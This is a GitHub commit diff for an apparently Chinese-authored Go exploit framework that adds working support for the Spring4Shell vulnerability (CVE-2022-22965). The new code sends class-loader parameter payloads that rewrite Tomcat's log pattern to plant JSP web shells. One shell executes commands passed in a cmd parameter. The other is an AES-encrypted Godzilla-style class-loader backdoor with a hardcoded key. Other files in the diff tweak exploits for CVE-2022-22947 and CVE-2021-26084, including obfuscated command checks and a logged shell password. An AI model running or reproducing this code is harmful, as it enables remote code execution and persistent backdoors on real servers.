Skip to content

Commit c9bbe0a

Browse files
committed
支持CVE-2022-22965漏洞
1 parent df6b52d commit c9bbe0a

File tree

9 files changed

+100
-29
lines changed

9 files changed

+100
-29
lines changed

cmd/commons/core/options.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ func ParseOptions() *Options {
5252
options := &Options{}
5353
flag.IntVar(&options.Mode, "m", 0, "debug mode off (debug mode = 1) default mode = 0")
5454
flag.IntVar(&options.Thread, "t", 1, "threads number ")
55-
flag.StringVar(&options.File, "f", "", "file to read example: -file=test.txt http(s)://host:port/ (notes: The last line must be empty)")
55+
flag.StringVar(&options.File, "f", "", "file to read example: -file=test.txt http(s)://host:port/path/ (notes: The last line must be empty)")
5656
flag.StringVar(&options.Url, "u", "", "url to read example: -url=http://www.baidu.com:80/")
5757
flag.StringVar(&options.Proxy, "proxy", "", "proxy example: -proxy=http(socks5)://127.0.0.1:8080 ")
5858
flag.BoolVar(&options.Version, "version", false, "show version")

cmd/commons/poc/2021/CVE-2021-26084.go

+2-2
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ func (p CVE202126084) SendPoc(target string, hashmap map[string]interface{}) {
4040

4141
resp := utils.Send(reqmap)
4242

43-
if p.CheckExp(resp, target, file) {
43+
if p.CheckExp(resp, target, hashmap) {
4444
context := target + " 存在CVE-2021-26084漏洞!" + target + "testAnt.jsp 蚁剑密码 ant "
4545
log.Info(context)
4646
p.SaveResult(target, file)
@@ -56,7 +56,7 @@ func (CVE202126084) SaveResult(target string, file string) {
5656
utils.SaveToFile(target, file)
5757
}
5858

59-
func (CVE202126084) CheckExp(resp *req.Response, target string, file string) bool {
59+
func (CVE202126084) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
6060
if !resp.IsSuccess() {
6161
log.Debugf(resp.Dump())
6262
return true

cmd/commons/poc/2022/CVE-2022-22947.go

+9-5
Original file line numberDiff line numberDiff line change
@@ -87,17 +87,17 @@ func (p CVE202222947) SendPoc(target string, hashmap map[string]interface{}) {
8787
reqmap["method"] = "POST"
8888
utils.Send(reqmap)
8989

90-
if p.CheckExp(resp, target, hashmap["Out"].(string)) {
90+
if p.CheckExp(resp, target, hashmap) {
9191
log.Info("[+] Successful exploitation CVE-2020-222947")
9292
p.SaveResult(target, hashmap["Out"].(string))
9393
break
94-
} else if !p.CheckExp(resp, target, hashmap["Out"].(string)) {
94+
} else if !p.CheckExp(resp, target, hashmap) {
9595
// NettyMemshell.doInject()
9696
id = utils.GetCode(6)
9797
s := fmt.Sprintf(payload, id, NettyMemshell)
9898
reqmap["body"] = s
9999
f++
100-
} else if !p.CheckExp(resp, target, hashmap["Out"].(string)) {
100+
} else if !p.CheckExp(resp, target, hashmap) {
101101
// SpringRequestMappingMemshell.doInject()
102102
id = utils.GetCode(6)
103103
s := fmt.Sprintf(payload, id, SpringRequestMappingMemshell)
@@ -117,11 +117,15 @@ func (CVE202222947) init() {
117117
}
118118

119119
// 检查是否成功
120-
func (p CVE202222947) CheckExp(resp *req.Response, url string, file string) bool {
120+
func (p CVE202222947) CheckExp(resp *req.Response, url string, hashmap map[string]interface{}) bool {
121121
res := resp.Dump()
122+
file := hashmap["Out"].(string)
123+
y := utils.EncodeString("route_id")
124+
122125
log.Debugf("[+] res:%s", res)
123126
if strings.Contains(res, "route_id") {
124-
re, _ := req.R().SetQueryString("cmd=echo route_id").SetHeader("X-CMD", "echo route_id").Send("GET", url)
127+
qustr := "echo " + y + "|base64 -d"
128+
re, _ := req.R().SetQueryString("cmd="+qustr).SetHeader("X-CMD", qustr).Send("GET", url)
125129
res2 := re.String()
126130
log.Debugf("[+] res2:%s", res2)
127131
if strings.Contains(res2, "route_id") {

cmd/commons/poc/2022/CVE-2022-22963.go

+2-2
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,7 @@ func (p CVE202222963) SendPoc(target string, hashmap map[string]interface{}) {
4747

4848
res := dnslog.GetDnslog()
4949
if res {
50-
if p.CheckExp(resp, target, hashmap["Out"].(string)) {
50+
if p.CheckExp(resp, target, hashmap) {
5151
log.Infof("[+] %s: %s", target, "CVE-2022-22963")
5252
p.SaveResult(target, hashmap["Out"].(string))
5353
}
@@ -65,7 +65,7 @@ func (CVE202222963) SaveResult(target string, file string) {
6565
utils.SaveToFile(context, file)
6666
}
6767

68-
func (p CVE202222963) CheckExp(resp *req.Response, dnslog string, file string) bool {
68+
func (p CVE202222963) CheckExp(resp *req.Response, dnslog string, hashmap map[string]interface{}) bool {
6969
log.Debugf("CVE-2022-22963 checkExp")
7070
return true
7171

cmd/commons/poc/2022/CVE-2022-22965.go

+78-15
Original file line numberDiff line numberDiff line change
@@ -6,49 +6,112 @@ import (
66
"github.com/fatih/structs"
77
"github.com/imroc/req/v3"
88
log "github.com/sirupsen/logrus"
9+
"net/url"
10+
"time"
911
)
1012

1113
type CVE202222965 struct{}
1214

15+
const (
16+
body = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
17+
context = "%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
18+
//body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
19+
body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=G:\\source\\spring-framework-rce\\target\\spring_framework_rce-0.0.1-SNAPSHOT\\&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
20+
// 添加 shell 文件名
21+
body2 = "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
22+
//behinder = "%25%7Bprefix%7Di%20%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%7Bsuffix%7Di%20%25%7Bprefix%7Di%20!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Di%20if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%7Bsuffix%7Di"
23+
24+
// 哥斯拉 pass key
25+
beichen = "%25%7Bprefix%7Di!%20String%20xc%3D%223c6e0b8a9c15224a%22%3B%20class%20X%20extends%20ClassLoader%7Bpublic%20X(ClassLoader%20z)%7Bsuper(z)%3B%7Dpublic%20Class%20Q(byte%5B%5D%20cb)%7Breturn%20super.defineClass(cb%2C%200%2C%20cb.length)%3B%7D%20%7Dpublic%20byte%5B%5D%20x(byte%5B%5D%20s%2Cboolean%20m)%7B%20try%7Bjavax.crypto.Cipher%20c%3Djavax.crypto.Cipher.getInstance(%22AES%22)%3Bc.init(m%3F1%3A2%2Cnew%20javax.crypto.spec.SecretKeySpec(xc.getBytes()%2C%22AES%22))%3Breturn%20c.doFinal(s)%3B%20%7Dcatch%20(Exception%20e)%7Breturn%20null%3B%20%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Ditry%7Bbyte%5B%5D%20data%3Dnew%20byte%5BInteger.parseInt(request.getHeader(%22Content-Length%22))%5D%3Bjava.io.InputStream%20inputStream%3D%20request.getInputStream()%3Bint%20_num%3D0%3Bwhile%20((_num%2B%3DinputStream.read(data%2C_num%2Cdata.length))%3Cdata.length)%3Bdata%3Dx(data%2C%20false)%3Bif%20(session.getAttribute(%22payload%22)%3D%3Dnull)%7Bsession.setAttribute(%22payload%22%2Cnew%20X(this.getClass().getClassLoader()).Q(data))%3B%7Delse%7Brequest.setAttribute(%22parameters%22%2C%20data)%3BObject%20f%3D((Class)session.getAttribute(%22payload%22)).newInstance()%3Bjava.io.ByteArrayOutputStream%20arrOut%3Dnew%20java.io.ByteArrayOutputStream()%3Bf.equals(arrOut)%3Bf.equals(pageContext)%3Bf.toString()%3Bresponse.getOutputStream().write(x(arrOut.toByteArray()%2C%20true))%3B%7D%20%7Dcatch%20(Exception%20e)%7B%7D%25%7Bsuffix%7Di"
26+
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
27+
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
28+
)
29+
1330
func (p CVE202222965) SendPoc(target string, hashmap map[string]interface{}) {
31+
shellname := utils.GetCode(6)
32+
time.Sleep(time.Second * 1)
33+
shellname1 := utils.GetCode(8)
34+
log.Debugf("shellname: %s", shellname)
35+
log.Debugf("shellname1: %s", shellname1)
36+
payload1 := body + context + body1 + shellname + body2
37+
rebeyond := body + beichen + body1 + shellname1 + body2
1438
//TODO implement me
1539
log.Debugf("[+] Running CVE202222965 poc")
1640
reqinfo := req2.NewReqInfo()
1741
reqmap := structs.Map(reqinfo)
18-
headers := map[string]string{
19-
"suffix": "%>//",
20-
"c1": "Runtime",
21-
"c2": "<%",
42+
get_headers := map[string]string{
43+
"suffix": "%>",
44+
"c": "Runtime",
45+
"prefix": "<%",
2246
"User-Agent": utils.GetUA(),
2347
}
24-
reqmap["url"] = target
48+
post_get_headers := map[string]string{
49+
"User-Agent": utils.GetUA(),
50+
"Content-Type": "application/x-www-form-urlencoded",
51+
}
2552

26-
reqmap["headers"] = headers
53+
reqmap["url"] = target
2754

28-
reqmap["method"] = "POST"
2955
// 默认配置
3056
reqmap["timeout"] = hashmap["Timeout"].(int)
3157
reqmap["retry"] = hashmap["Retry"].(int)
3258
reqmap["proxy"] = hashmap["Proxy"].(string)
3359
reqmap["mode"] = hashmap["Mode"].(int)
60+
f := 0
61+
for f < 2 {
62+
time.Sleep(time.Second * 1)
63+
// 设置 payload
64+
reqmap["method"] = "POST"
65+
reqmap["body"] = file_date_data
66+
reqmap["headers"] = post_get_headers
67+
utils.Send(reqmap)
3468

35-
// 发送请求
36-
resp := utils.Send(reqmap)
37-
p.CheckExp(resp, target, hashmap["Out"].(string))
69+
if f == 0 {
70+
// 第二个请求
71+
//reqmap["body"] = payload1
72+
reqmap["body"] = rebeyond
73+
reqmap["headers"] = post_get_headers
3874

75+
} else {
76+
reqmap["body"] = payload1
77+
reqmap["headers"] = post_get_headers
78+
}
79+
utils.Send(reqmap)
80+
// Changes take some time to populate on tomcat
81+
time.Sleep(time.Second * 3)
82+
83+
r, _ := url.Parse(target)
84+
log.Debugf("[+] CVE202222965 poc success")
85+
res := r.Scheme + "://" + r.Host + "/" + shellname + ".jsp" + "?cmd=whoami or" + r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp 哥斯拉 pass key "
86+
p.SaveResult(res, hashmap["Out"].(string))
87+
88+
// 第三个请求
89+
reqmap["method"] = "GET"
90+
reqmap["body"] = ""
91+
reqmap["headers"] = get_headers
92+
utils.Send(reqmap)
93+
94+
time.Sleep(time.Second * 1)
95+
reqmap["body"] = pattern_data
96+
reqmap["method"] = "POST"
97+
reqmap["headers"] = post_get_headers
98+
utils.Send(reqmap)
99+
f++
100+
}
39101
}
40102

41103
func (p CVE202222965) SaveResult(target string, file string) {
42-
context := target + " 存在CVE-2022-22965漏洞\n"
43-
err := utils.SaveToFile(context, file)
104+
err := utils.SaveToFile(target, file)
44105
if err != nil {
45106
log.Debugf("[-] Save result failed")
46107
log.Debugf(err.Error())
47108
return
48109
}
49110
}
50111

51-
func (p CVE202222965) CheckExp(resp *req.Response, target string, file string) bool {
52-
//TODO implement me
53-
panic("implement me")
112+
func (p CVE202222965) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
113+
if resp.IsSuccess() {
114+
return true
115+
}
116+
return false
54117
}

cmd/commons/poc/PoC.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,5 +6,5 @@ import "github.com/imroc/req/v3"
66
type PoC interface {
77
SendPoc(target string, hashmap map[string]interface{})
88
SaveResult(target string, file string)
9-
CheckExp(resp *req.Response, target string, file string) bool
9+
CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool
1010
}

cmd/commons/poc/demo.go

+2-2
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ func (d Demo) SendPoc(target string, hashmap map[string]interface{}) {
4848
log.Debugln("[+] resp: ", resp.Dump())
4949

5050
// TODO check exp
51-
d.CheckExp(resp, target, hashmap["Out"].(string))
51+
d.CheckExp(resp, target, hashmap)
5252

5353
// TODO 保存结果
5454
d.SaveResult(target, hashmap["Out"].(string))
@@ -68,7 +68,7 @@ func (d Demo) SaveResult(target, file string) {
6868

6969
}
7070

71-
func (d Demo) CheckExp(resp *req.Response, target string, file string) bool {
71+
func (d Demo) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
7272
log.Debugf("[+] check exp")
7373
return false
7474
}

cmd/main.go

+2-1
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,9 @@ func main() {
1111
if options.Url != "" {
1212

1313
} else if options.File != "" {
14-
1514
} else if options.IP != "" {
15+
} else if options.SP {
16+
return
1617
} else {
1718
log.Info("No url, file or ip specified")
1819
return

cmd/test/Strings.go

+3
Original file line numberDiff line numberDiff line change
@@ -29,4 +29,7 @@ func main() {
2929
ds := strings.Split(d, ",")
3030
fmt.Println(ds)
3131

32+
y := utils.EncodeString("asdasd")
33+
fmt.Println(y)
34+
3235
}

0 commit comments

Comments
 (0)